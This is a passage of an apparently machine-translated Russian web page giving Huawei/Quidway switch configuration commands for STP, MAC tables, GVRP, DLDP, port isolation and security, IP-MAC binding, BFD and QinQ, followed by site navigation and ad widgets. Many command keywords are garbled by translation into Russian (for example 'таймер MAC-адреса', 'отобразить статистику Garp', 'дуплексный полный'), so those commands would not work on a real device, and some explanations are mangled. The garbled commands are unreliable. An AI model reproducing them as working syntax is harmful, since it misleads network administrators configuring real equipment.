stp {enable | disable} Установить связующее дерево, по умолчанию отключено [Quidway] stp mode rstp Установить режим связующего дерева на rstp [Quidway] stp priority 8192 Установить приоритет переключателя [Quidway] stp root {primary | secondary} задан как корневой или корневой резервный [Quidway-Ethernet0 / 1] stp cost 200 Установить стоимость порта коммутатора. Конфигурация MSTP: # Настройте для доменного имени MST значение info, уровень версии MSTP - 1, отношение сопоставления VLAN таково, что VLAN2 ~ VLAN10 сопоставлены с MSTI 1, а VLAN20 ~ VLAN30 сопоставлены с MSTI 2. system-view [Sysname] stp region-configuration [Sysname-mst-region] region-name info [Sysname-mst-region] instance 1 vlan 2 to 10 [Sysname-mst-region] instance 2 vlan 20 to 30 [Sysname-mst-region] revision-level 1 [Sysname-mst-region] active region-configuration&lt;/code&gt;</pre><p>9. Работа с таблицей MAC-адресов.<br>① Добавить запись в таблицу MAC-адресов в системном представлении</p><pre class="has">&lt;code&gt;[Quidway] MAC-адрес {статический | динамический | черная дыра} MAC-адрес интерфейса тип интерфейса номер интерфейса vlan идентификатор vlan; добавить запись в таблицу MAC-адресов&lt;/code&gt;</pre><p>При добавлении записей в таблицу MAC-адресов порт, указанный параметром интерфейса в команде, должен принадлежать к VLAN, указанной параметром vlan, в противном случае добавление не будет выполнено.<br>Если VLAN, указанная параметром vlan, является динамической VLAN, после добавления статического MAC-адреса она автоматически станет статической VLAN.<br>② Добавить запись в таблицу MAC-адресов в представлении порта Ethernet.</p><pre class="has">&lt;code&gt;[Quidway-Ethernet1/0/2]mac-address { static | dynamic | blackhole } mac-address vlan vlan-id&lt;/code&gt;</pre><p>При добавлении записи в таблицу MAC-адресов текущий порт должен принадлежать VLAN, указанной параметром vlan в команде, в противном случае добавление завершится неудачно;<br>Если VLAN, указанная параметром vlan, является динамической VLAN, после добавления статического MAC-адреса она автоматически станет статической VLAN.</p><pre class="has">&lt;code&gt;[Quidway] таймер MAC-адреса {ageing age | no-age} Установите время устаревания записей в таблице MAC-адресов.&lt;/code&gt;</pre><p>Примечание: По умолчанию время устаревания записей таблицы MAC-адресов составляет 300 секунд.Если используется параметр no-ageing, это означает, что записи таблицы MAC-адресов не будут устаревать.<br>③ Конфигурация времени устаревания MAC-адреса действует для всех портов, но функция устаревания адреса работает только с динамическими (изученными или настраиваемыми пользователем) записями MAC-адресов.</p><pre class="has">&lt;code&gt;[Quidway-Ethernet1 / 0/2] mac-address max-mac-count count Установите максимальное количество MAC-адресов, которые порт может узнать;&lt;/code&gt;</pre><p>Примечание. По умолчанию нет ограничений на количество MAC-адресов, полученных портом. И наоборот, если для порта включены функции аутентификации MAC-адреса и безопасности порта, вы не можете настроить максимальное количество MAC-адресов, полученных для порта.</p><pre class="has">&lt;code&gt;[Quidway-Ethernet1 / 0/2] port-mac start-mac-address Настройте начальное значение MAC-адреса порта Ethernet.&lt;/code&gt;</pre><p>По умолчанию порт Ethernet коммутатора E126 / E126A не настроен с MAC-адресом. Поэтому, когда коммутатор отправляет пакеты протокола уровня 2 (например, STP), он будет использовать MAC-адрес отправляющего порта, поскольку он не может получить MAC-адрес отправляющего порта. MAC-адрес, предварительно установленный протоколом, используется в качестве адреса источника для заполнения сообщения для передачи. В реальной сети, поскольку несколько устройств используют один и тот же исходный MAC-адрес для отправки пакетов протокола уровня 2, это приведет к тому, что один и тот же MAC-адрес будет изучен на разных портах определенного устройства, что может привести к ведению таблицы MAC-адресов. влияет.</p><pre class="has">&lt;code&gt;[Quidway] отображать mac-адрес Отображать информацию таблицы адресов [Quidway] отображение времени устаревания mac-адреса Отображение времени устаревания динамических записей в таблице адресов [Quidway] display port-mac Отображение начального значения MAC-адреса порта Ethernet, настроенного пользователем.&lt;/code&gt;</pre><p>10. Конфигурация GVRP.</p><pre class="has">&lt;code&gt;[Qw_A] gvrp включает глобальный GVRP [Qw_A-Ethernet1 / 0/1] gvrp включает GVRP в Ethernet 1/0/1 [Qw_A-Ethernet1 / 0/1] gvrp registration {fixed | запрещено | normal} Настройте режим регистрации порта GVRP, по умолчанию это нормально. Чтобы [Qw_A] отобразить статистику Garp [interface interface-list] Показать статистику GARP [Qw_A] отобразить таймер garp [interface interface-list] Показать значение таймера GARP [Qw_A] отобразить статистику GVRP [interface interface-list] Показать статистику GVRP [Qw_A] Показать статус GVRP Показать информацию о глобальном статусе GVRP [Qw_A] отобразить gvrp statusreset garp statistics [interface interface-list] Очистить статистику GARP&lt;/code&gt;</pre><p>11. Конфигурация DLDP.</p><pre class="has">&lt;code&gt;[Qw_A] interface gigabitethernet 1/1/1&nbsp; [Qw_A-GigabitEthernet1 / 1/1] дуплексный полный Настройте порт для работы в принудительном полнодуплексном режиме [Qw_A-GigabitEthernet1 / 1/1] скорость 1000 Скорость 1000 Мбит / с [Qw_A] dldp enable Включить DLDP глобально. [Qw_A] dldp interval 15 Установите интервал для отправки пакетов DLDP равным 15 секундам. [Qw_A] dldp work-mode { enhance | normal }&nbsp; Настройте режим работы протокола DLDP как расширенный. По умолчанию это нормально. [Qw_A] dldp unidirectional-shutdown { auto | manual }&nbsp; Настройте режим работы однонаправленного канала DLDP на автоматический режим. По умолчанию авто Qw_A] display dldp 1 Просмотр статуса DLDP.&lt;/code&gt;</pre><p>① Когда оптоволокно перекрестно, два или три порта могут находиться в отключенном состоянии, а остальные порты находятся в неактивном состоянии.<br>② Когда один конец оптического волокна подключен правильно, а другой конец не подключен:<br>Если рабочий режим DLDP нормальный, то конечный приемный световой сигнал находится в состоянии объявления, а конечный, не получающий световой сигнал, находится в неактивном состоянии.<br>Если рабочий режим DLDP является улучшенным, индикатор на конце приема находится в состоянии «Отключено», а конец, не получающий свет, находится в состоянии «Неактивно».<br>③ Команда dldp reset может сбросить статус DLDP всех портов в глобальном масштабе, а также может повторно зарядить статус DLDP порта под интерфейсом.</p><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://huaweidevices.ru/obzori/ustanovka-indos-10-64-na-uaei-matebook-d-14-indos" target="_blank" rel="nofollow" class="u504efa72fd5a5cd59cc57eac4766494d"><style>.u504efa72fd5a5cd59cc57eac4766494d { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#ECF0F1; border:0!important; border-left:4px solid #E74C3C!important; text-decoration:none; } .u504efa72fd5a5cd59cc57eac4766494d:active, .u504efa72fd5a5cd59cc57eac4766494d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u504efa72fd5a5cd59cc57eac4766494d { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u504efa72fd5a5cd59cc57eac4766494d .ctaText { font-weight:bold; color:#2980B9; text-decoration:none; font-size: 16px; } .u504efa72fd5a5cd59cc57eac4766494d .postTitle { color:#C0392B; text-decoration: underline!important; font-size: 16px; } .u504efa72fd5a5cd59cc57eac4766494d:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Больше про Хуавей:</span>&nbsp; <span class="postTitle">Установка Windows 10 64 на HUAWEI MateBook D 14 - Windows</span></div></a></div><p>12. Конфигурация изоляции порта.<br>① С помощью функции изоляции портов пользователи могут добавлять порты, которыми необходимо управлять, в группу изоляции, чтобы реализовать изоляцию данных второго и третьего уровня между портами в группе изоляции, что улучшает Для повышения безопасности сети он также предоставляет пользователям гибкое сетевое решение.</p><pre class="has">&lt;code&gt;[Sysname] interface ethernet1 / 0/2 Добавьте порт Ethernet Ethernet1 / 0/2 в группу изоляции. [Sysname-Ethernet1/0/2] port isolate [Sysname] отобразить изолированный порт Показать информацию о порте в группе изоляции&lt;/code&gt;</pre><p>② После настройки группы изоляции не могут обмениваться данными только пакеты между портами в группе изоляции.Связь между портами в группе изоляции и портами за пределами группы изоляции не будет затронута.<br>③ Функция изоляции порта не имеет ничего общего с VLAN, к которой принадлежит порт Ethernet.<br>④ Когда порт в группе агрегации присоединяется к группе изоляции или покидает ее, другие порты в той же группе агрегации на этом устройстве автоматически присоединяются или покидают группу изоляции.<br>⑤ Для группы портов, которые одновременно входят в группу агрегации и группу изоляции, когда один из портов покидает группу агрегации, другие порты не будут затронуты, то есть другие порты останутся в исходном состоянии. В группе агрегации и исходной группе изоляции.<br>⑥ Если порты в группе агрегации принадлежат к группе изоляции одновременно, когда группа агрегации удаляется непосредственно в системном представлении, порты в группе агрегации по-прежнему будут в группе изоляции в.<br>⑦ Когда порт в группе изоляции присоединяется к группе агрегации, все порты в группе агрегации автоматически добавляются в группу изоляции.</p><p>13. Конфигурация безопасности порта.</p><pre class="has">&lt;code&gt;[Switch] port-security enable Включить функцию безопасности порта [Switch] interface Ethernet 1/0/1 Вход в порт Ethernet 1/0/1. [Switch-Ethernet1/0/1] port-security max-mac-count 80&nbsp; Установите максимальное количество MAC-адресов, разрешенных для порта, на 80. [Switch-Ethernet1 / 0/1] port-security port-mode autolearn Настроить режим безопасности порта как autolearn. [Switch-Ethernet1/0/1] mac-address security 0001-0002-0003 vlan 1&nbsp; Добавьте MAC-адрес хоста 0001-0002-0003 в качестве MAC-адреса безопасности в VLAN 1 [Switch-Ethernet1/0/1] port-security intrusion-mode disableport-temporarily&nbsp; Установите срабатывание защиты от вторжений, временно закройте порт [Switch] port-security timer disableport 30 Время закрытия 30 секунд.&lt;/code&gt;</pre><p>14. Конфигурация привязки порта<br>С помощью функции привязки порта сетевой администратор может привязать MAC-адрес и IP-адрес пользователя к указанному порту. После операции привязки коммутатор пересылает только сообщения, отправленные пользователем с указанным MAC-адресом и IP-адресом, полученным из порта, что повышает безопасность системы и улучшает мониторинг сетевой безопасности.</p><pre class="has">&lt;code&gt;[Qw_A-Ethernet1/0/1] am user-bind mac-addr 0001-0002-0003 ip-addr 10.12.1.1&lt;/code&gt;</pre><p>Привяжите MAC-адрес и IP-адрес узла 1 к порту Ethernet1 / 0/1.<br>Конфигурация привязки на некоторых переключателях отличается</p><pre class="has">&lt;code&gt;[Qw_A] interface ethernet 1/0/2 [Qw_A-Ethernet1/0/2] user-bind ip-address 192.168.0.3 mac-address 0001-0203-0405 Конфигурация фильтрации портов [Qw_A] interface ethernet1 / 0/1 Настройте функцию фильтрации порта Ethernet1 / 0/1. [Qw_A-Ethernet1/0/1] ip check source ip-address mac-address [Qw_A] dhcp-snooping Включение функции DHCP Snooping. [Qw_A] interface ethernet1/0/2&nbsp; Установите порт Ethernet1 / 0/2, подключенный к DHCP-серверу, как доверенный порт. [Qw_A-Ethernet1/0/2] dhcp-snooping trust Включите фильтрацию IP-адресов на порте Ethernet1 / 0/1, чтобы клиенты не могли использовать поддельные IP-адреса источника для атаки на сервер.&lt;/code&gt;</pre><p>15. Конфигурация BFD<br>Qw_A, Qw_B и Qw_C доступны друг другу. Настройте статический маршрут на Qw_A для достижения Qw_C и включите функцию обнаружения BFD.<br>① Настройте статический маршрут на Qw_A, включите функцию обнаружения BFD и реализуйте функцию BFD с помощью эхо-сообщений BFD.</p><pre class="has">&lt;code&gt;&lt;Qw_A&gt; system-view [Qw_A] bfd echo-source-ip 123.1.1.1 [Qw_A] interface vlan-interface 10 [Qw_A-vlan-interface10] bfd min-echo-receive-interval 300 [Qw_A-vlan-interface10] bfd detect-multiplier 7&nbsp; [Qw_A-vlan-interface10] quit [Qw_A] ip route-static 120.1.1.1 24 10.1.1.100 bfd echo-packet&lt;/code&gt;</pre><p>② Включите переключатель отладочной информации функции BFD на Qw_A.</p><pre class="has">&lt;code&gt;&lt;Qw_A&gt; debugging bfd event &lt;&gt;Qw_A&gt; debugging bfd scm &lt;Qw_A&gt; terminal debugging&lt;/code&gt;</pre><p>③ На Qw_A вы можете включить переключатель отладочной информации функции BFD, отключить связь между Hub и Qw_B и проверить результат конфигурации. Результат проверки показывает, что<br>④ Qw_A может быстро определить изменение связи между Qw_A и Qw_B.</p><p>16. Конфигурация QinQ<br>Провайдер A и провайдер B соединены через магистральный порт. Провайдер A принадлежит VLAN 1000 сети оператора связи, а поставщик B принадлежит VLAN 2000 сети оператора связи.<br>Между поставщиком A и поставщиком B оператор использует оборудование других производителей, а значение TPID равно 0x8200.<br>Я надеюсь, что после настройки будут выполнены следующие требования:<br>Пакеты VLAN10 клиента A могут связываться с пакетами VLAN10 клиента B после пересылки сетью VLAN1000 оператора связи; пакеты VLAN20 клиента A могут быть<br>Пакеты и VLAN20 клиента C пересылаются сетью VLAN2000 оператора связи, а затем обмениваются данными друг с другом.<br>[ProviderA] interface ethernet 1/0/1 # Настройте порт как гибридный порт и разрешите прохождение пакетов VLAN10, VLAN20, VLAN1000 и VLAN2000 и удалите внешний тег при отправке.</p><pre class="has">&lt;code&gt;[ProviderA-Ethernet1/0/1] port link-type hybrid [ProviderA-Ethernet1/0/1] port hybrid vlan 10 20 1000 2000 untagged [ProviderA-Ethernet1/0/1] qinq vid 1000&nbsp;&lt;/code&gt;</pre><p>Инкапсулируйте пакеты из VLAN 10 с помощью внешнего тега с идентификатором VLAN ID 1000.</p><pre class="has">&lt;code&gt;[ProviderA-Ethernet1/0/1-vid-1000] raw-vlan-id inbound 10 [ProviderA-Ethernet1/0/1-vid-1000] quit [ProviderA-Ethernet1/0/1] qinq vid 2000&nbsp;&lt;/code&gt;</pre><p>Инкапсулируйте пакеты из VLAN 20 с помощью внешнего тега с идентификатором VLAN 2000.</p><pre class="has">&lt;code&gt;[ProviderA-Ethernet1/0/1-vid-2000] raw-vlan-id inbound 20 [ProviderA] interface ethernet 1/0/2 VLAN по умолчанию для порта конфигурации - VLAN1000. [ProviderA-Ethernet1/0/2] port access vlan 1000 [ProviderA-Ethernet1/0/2] qinq enable&nbsp;&lt;/code&gt;</pre><p>Настройте базовую функцию QinQ порта для инкапсуляции пакетов из VLAN 10 с помощью внешнего тега с идентификатором VLAN ID 1000.</p><pre class="has">&lt;code&gt;[ProviderA] interface ethernet 1/0/3&nbsp;&lt;/code&gt;</pre><p>Настройте порт как магистральный и разрешите прохождение пакетов от VLAN1000 и VLAN2000.</p><pre class="has">&lt;code&gt;[ProviderA-Ethernet1/0/3] port link-type trunk [ProviderA-Ethernet1/0/3] port trunk permit vlan 1000 2000 [ProviderA-Ethernet1/0/3] qinq ethernet-type 8200&nbsp;&lt;/code&gt;</pre><p>Для связи с устройствами в общедоступной сети значение TPID, используемое при настройке порта для добавления внешнего тега, равно 0x8200.</p><pre class="has">&lt;code&gt;[ProviderB] interface ethernet 1/0/1&nbsp;&lt;/code&gt;</pre><p>Настройте порт как магистральный и разрешите прохождение пакетов от VLAN1000 и VLAN2000.</p><pre class="has">&lt;code&gt;[ProviderB-Ethernet1/0/1] port link-type trunk [ProviderB-Ethernet1/0/1] port trunk permit vlan 1000 2000 [ProviderB-Ethernet1/0/1] qinq ethernet-type 8200&nbsp;&lt;/code&gt;</pre><p>Для связи с устройствами в общедоступной сети значение TPID, используемое при настройке порта для добавления внешнего тега, равно 0x8200.</p><pre class="has">&lt;code&gt;[ProviderB-Ethernet1/0/1] quit [ProviderB] interface ethernet 1/0/2 # Настройте VLAN по умолчанию для порта как VLAN2000. [ProviderB-Ethernet1/0/2] port access vlan 2000 [ProviderB-Ethernet1/0/2] qinq enable&nbsp;&lt;/code&gt;</pre><p>Настройте базовую функцию QinQ порта и инкапсулируйте пакеты из VLAN 20 с помощью внешнего тега с идентификатором VLAN 2000.</p></div></div><div class="flat_pm_end"></div><div class="wp_rp_wrap wp_rp_vertical" id="wp_rp_first"><div class="wp_rp_content"><h3 class="related_post_title"><span id="__Huawei">Узнайте больше о Huawei</span></h3><ul class="related_post wp_rp"><li data-position="0" data-poid="in-36398" data-post-type="none"><a href="https://huaweidevices.ru/novosti/bakupim-uaei-netork" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/ea35d290389737bad419236e65f6b950-150x150.png" alt="Backup’им huawei | net.work" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/bakupim-uaei-netork" class="wp_rp_title">Backup’им huawei | net.work</a></li><li data-position="1" data-poid="in-13593" data-post-type="none"><a href="https://huaweidevices.ru/novosti/onsole-guide-bazovaya-nastroyka-kommutatorov-i-marsrutizatorov-uaei" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/45258505-150x150.jpg" alt="Console Guide: Базовая настройка коммутаторов и маршрутизаторов Huawei" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/onsole-guide-bazovaya-nastroyka-kommutatorov-i-marsrutizatorov-uaei" class="wp_rp_title">Console Guide: Базовая настройка коммутаторов и маршрутизаторов Huawei</a></li><li data-position="2" data-poid="in-12662" data-post-type="none"><a href="https://huaweidevices.ru/novosti/svodka-komand-nastroyki-kommutatora-uaei-russkie-blogi" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/192109_O-150x150.png" alt="Сводка команд настройки коммутатора Huawei — Русские Блоги" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/svodka-komand-nastroyki-kommutatora-uaei-russkie-blogi" class="wp_rp_title">Сводка команд настройки коммутатора Huawei — Русские Блоги</a></li><li data-position="3" data-poid="in-18295" data-post-type="none"><a href="https://huaweidevices.ru/novosti/uaei-routing-series-3-vvedenie-i-nastroyka-plavayuscey-marsrutizatsii-russkie-blogi" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/ea35d290389737bad419236e65f6b950-150x150.png" alt="[Huawei Routing Series-3] Введение и настройка плавающей маршрутизации — Русские Блоги" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/uaei-routing-series-3-vvedenie-i-nastroyka-plavayuscey-marsrutizatsii-russkie-blogi" class="wp_rp_title">[Huawei Routing Series-3] Введение и настройка плавающей маршрутизации — Русские Блоги</a></li><li data-position="4" data-poid="in-32469" data-post-type="none"><a href="https://huaweidevices.ru/novosti/uaei-spravka-po-seti-by-neary-uaei-devies" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/uphuawei-min-150x150.jpg" alt="Huawei — Справка по сети by Necary — Huawei Devices" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/uaei-spravka-po-seti-by-neary-uaei-devies" class="wp_rp_title">Huawei — Справка по сети by Necary — Huawei Devices</a></li><li data-position="5" data-poid="in-26974" data-post-type="none"><a href="https://huaweidevices.ru/novosti/uaei-spravka-po-seti-by-neary" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/ea35d290389737bad419236e65f6b950-150x150.png" alt="Huawei — Справка по сети by Necary" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/uaei-spravka-po-seti-by-neary" class="wp_rp_title">Huawei — Справка по сети by Necary</a></li><li data-position="6" data-poid="in-15102" data-post-type="none"><a href="https://huaweidevices.ru/novosti/slozno-li-nastraivat-ustroystva-uaei-ast-2-kommutatory-blak-bo" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/uphuawei-min-150x150.jpg" alt="Сложно ли настраивать устройства Huawei? Часть 2. Коммутаторы. : Black Box" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/slozno-li-nastraivat-ustroystva-uaei-ast-2-kommutatory-blak-bo" class="wp_rp_title">Сложно ли настраивать устройства Huawei? Часть 2. Коммутаторы. : Black Box</a></li><li data-position="7" data-poid="in-14207" data-post-type="none"><a href="https://huaweidevices.ru/novosti/nastroyka-onor-10-sekrety-i-kitrosti" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2022/03/Screenshot_172-150x150.jpg" alt="Настройка Honor 10, секреты и хитрости" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/nastroyka-onor-10-sekrety-i-kitrosti" class="wp_rp_title">Настройка Honor 10, секреты и хитрости</a></li></ul></div></div></div><footer class="entry-footer"><div class="entry-tags clearfix"> <span class="meta-tags"> <a href="https://huaweidevices.ru/tag/russkie-blogi" rel="tag">Русские Блоги</a><a href="https://huaweidevices.ru/tag/spravochnik-komand-bazovoj-konfiguracii-kommutatora-huawei" rel="tag">Справочник команд базовой конфигурации коммутатора Huawei</a> </span></div><nav class="navigation post-navigation" aria-label="Записи"><h2 class="screen-reader-text">Навигация по записям</h2><div class="nav-links"><div class="nav-previous"><a href="https://huaweidevices.ru/novosti/g8245-256m-kak-otkryt-porty" rel="prev"><span class="screen-reader-text">Previous Post:</span>Hg8245h 256m как открыть порты</a></div><div class="nav-next"><a href="https://huaweidevices.ru/novosti/at-komandy-uaei-modemov" rel="next"><span class="screen-reader-text">Next Post:</span>AT команды Huawei модемов</a></div></div></nav></footer></article><div id="post-ratings-23695" class="post-ratings" itemscope itemtype="http://schema.org/Article" data-nonce="2d2604a80f"><img id="rating_23695_1" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="1 Звезда" title="1 Звезда" onmouseover="current_rating(23695, 1, '1 Звезда');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_23695_2" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="слабовато" title="слабовато" onmouseover="current_rating(23695, 2, 'слабовато');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_23695_3" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="на троечку" title="на троечку" onmouseover="current_rating(23695, 3, 'на троечку');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_23695_4" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_on.gif" alt="хорошо!" title="хорошо!" onmouseover="current_rating(23695, 4, 'хорошо!');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_23695_5" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_off.gif" alt="просто отлично!" title="просто отлично!" onmouseover="current_rating(23695, 5, 'просто отлично!');" onmouseout="ratings_off(4, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/> (<strong>1</strong> оценок, среднее: <strong>4,00</strong> из 5)<br/><span class="post-ratings-text" id="ratings_23695_text"></span><meta itemprop="name" content="Справочник команд базовой конфигурации коммутатора Huawei &#8212; Русские Блоги"/><meta itemprop="headline" content="Справочник команд базовой конфигурации коммутатора Huawei &#8212; Русские Блоги"/><meta itemprop="description" content="At команды для модемов huaweiAT команды (набор команд Hayes) &mdash; набор команд, разработанных в 1977 году компанией Hayes для собственной разработки, модема &laquo;Smartmodem 300 baud&raquo;. Набор команд состоит ..."/><meta itemprop="datePublished" content="2022-01-31T00:46:14+03:00"/><meta itemprop="dateModified" content="2021-11-28T21:35:46+03:00"/><meta itemprop="url" content="https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi"/><meta itemprop="author" content="newavtomaster"/><meta itemprop="mainEntityOfPage" content="https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi"/><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://huaweidevices.ru/wp-content/uploads/2021/11/kom999-150x107.jpg"/><meta itemprop="width" content="150"/><meta itemprop="height" content="107"/></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="Huawei Devices"/><meta itemprop="url" content="https://huaweidevices.ru"/><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content=""/></div></div><div style="display: none;" itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"><meta itemprop="bestRating" content="5"/><meta itemprop="worstRating" content="1"/><meta itemprop="ratingValue" content="4"/><meta itemprop="ratingCount" content="1"/></div></div><div id="post-ratings-23695-loading" class="post-ratings-loading"><img src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/loading.gif" width="16" height="16" class="post-ratings-image"/> Загрузка...</div> <script>var socials_webnavoz_ajaxUrl = "https://huaweidevices.ru/wp-admin/admin-ajax.php"; var id_post = '23695';</script> <div class="wrap-socials_webnavoz"><div class="socials-likebox_webnavoz"> <span class="likebutton_webnavoz like__link_webnavoz" data-st="1">Понравилось! <span class="count_webnavoz count-js_webnavoz">0</span></span></div><div class="socials-button_webnavoz"><div class="b-share_webnavoz"><div class="b-share__ico_webnavoz b-share__vk_webnavoz js-share-link_webnavoz" data-uri="http://vk.com/share.php?url=https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi"></div><div class="b-share__ico_webnavoz b-share__fb_webnavoz js-share-link_webnavoz" data-uri="http://www.facebook.com/sharer.php?u=https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi"></div><div class="b-share__ico_webnavoz b-share__ok_webnavoz js-share-link_webnavoz" data-uri="https://connect.ok.ru/offer?url=https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi"></div><div class="b-share__ico_webnavoz b-share__tw_webnavoz js-share-link_webnavoz" data-uri="http://twitter.com/share?text=&amp;url=https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi"></div></div></div></div><div id="comments" class="comments-area"><div id="respond" class="comment-respond"><h3 id="reply-title" class="comment-reply-title"><span>Расскажите нам ваше мнение:</span> <small><a rel="nofollow" id="cancel-comment-reply-link" href="/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi#respond" style="display:none;">Отменить ответ</a></small></h3><form action="https://huaweidevices.ru/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate><p class="comment-notes"><span id="email-notes">Ваш адрес email не будет опубликован.</span> <span class="required-field-message" aria-hidden="true">Обязательные поля помечены <span class="required" aria-hidden="true">*</span></span></p><p class="comment-form-comment"><label for="comment">Комментарий <span class="required" aria-hidden="true">*</span></label><textarea id="comment" name="comment" cols="45" rows="8" maxlength="65525" required></textarea></p><p class="comment-form-author"><label for="author">Имя <span class="required" aria-hidden="true">*</span></label> <input id="author" name="author" type="text" value="" size="30" maxlength="245" required/></p><p class="comment-form-email"><label for="email">Email <span class="required" aria-hidden="true">*</span></label> <input id="email" name="email" type="email" value="" size="30" maxlength="100" aria-describedby="email-notes" required/></p><p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="Отправить комментарий"/> <input type='hidden' name='comment_post_ID' value='23695' id='comment_post_ID'/> <input type='hidden' name='comment_parent' id='comment_parent' value='0'/></p><p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="fe65513d8b"/></p><p style="display: none !important;"><label>&#916;<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js" value="112"/><script>document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() );</script></p></form></div></div></main></section><section id="secondary" class="sidebar widget-area clearfix" role="complementary"><aside id="search-2" class="widget widget_search clearfix"><form role="search" method="get" class="search-form" action="https://huaweidevices.ru/"> <label> <span class="screen-reader-text">Search for:</span> <input type="search" class="search-field" placeholder="Search &hellip;" value="" name="s" title="Search for:"/> </label> <button type="submit" class="search-submit"> <span class="genericon-search"></span> <span class="screen-reader-text">Search</span> </button></form></aside><aside id="custom_html-4" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><script async src="//azfitn.com/tgl1l7192/livpm0y038hq687vqu786kpyagiq.php"></script> <div data-la-block="72ef8232-3db3-4eaf-9b81-ef9beb9bb6ce"></div></div></aside><aside id="categories-3" class="widget widget_categories clearfix"><div class="widget-header"><h3 class="widget-title">Рубрики</h3></div><ul><li class="cat-item cat-item-4"><a href="https://huaweidevices.ru/category/katalog" title="В этом разделе публикуется коммерческая информация об устройствах от компании Huawei: модели, характеристики, стоимость и контактные данные интернет-магазинов.">Каталог</a></li><li class="cat-item cat-item-1"><a href="https://huaweidevices.ru/category/novosti" title="В этом разделе публикуются новости об устройствах от компании Huawei и связанных с ней событиях.">Новости</a></li><li class="cat-item cat-item-3"><a href="https://huaweidevices.ru/category/obzori" title="В этом разделе публикуются обзоры на устройства от компании Huawei.">Обзоры</a></li><li class="cat-item cat-item-5"><a href="https://huaweidevices.ru/category/proshivki" title="В этом разделе публикуются ссылки на файлы прошивок и инструкции по прошивке для устройств от компании Huawei.">Прошивки</a></li></ul></aside><aside id="custom_html-5" class="widget_text widget widget_custom_html clearfix"><div class="textwidget custom-html-widget"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1782472449901794" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1782472449901794" data-ad-slot="9612229859" data-ad-format="auto" data-full-width-responsive="true"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></aside></section></div><div id="footer" class="footer-wrap"><footer id="colophon" class="site-footer container clearfix" role="contentinfo"><div id="footer-text" class="site-info"> <span class="credit-link"> HuaweiDevices.Ru © 2019 Данный сайт НЕ является официальным сайтом компании <a href="https://www.huawei.com">Huawei.</a> Сайт носит исключительно ознакомительно-информационный характер. Все товарные знаки и бренды принадлежат их правообладателям. При использовании данного сайта, вы подтверждаете свое согласие на использование файлов cookie в соответствии с настоящим уведомлением в отношении данного типа файлов. Если вы не согласны с тем, чтобы мы использовали 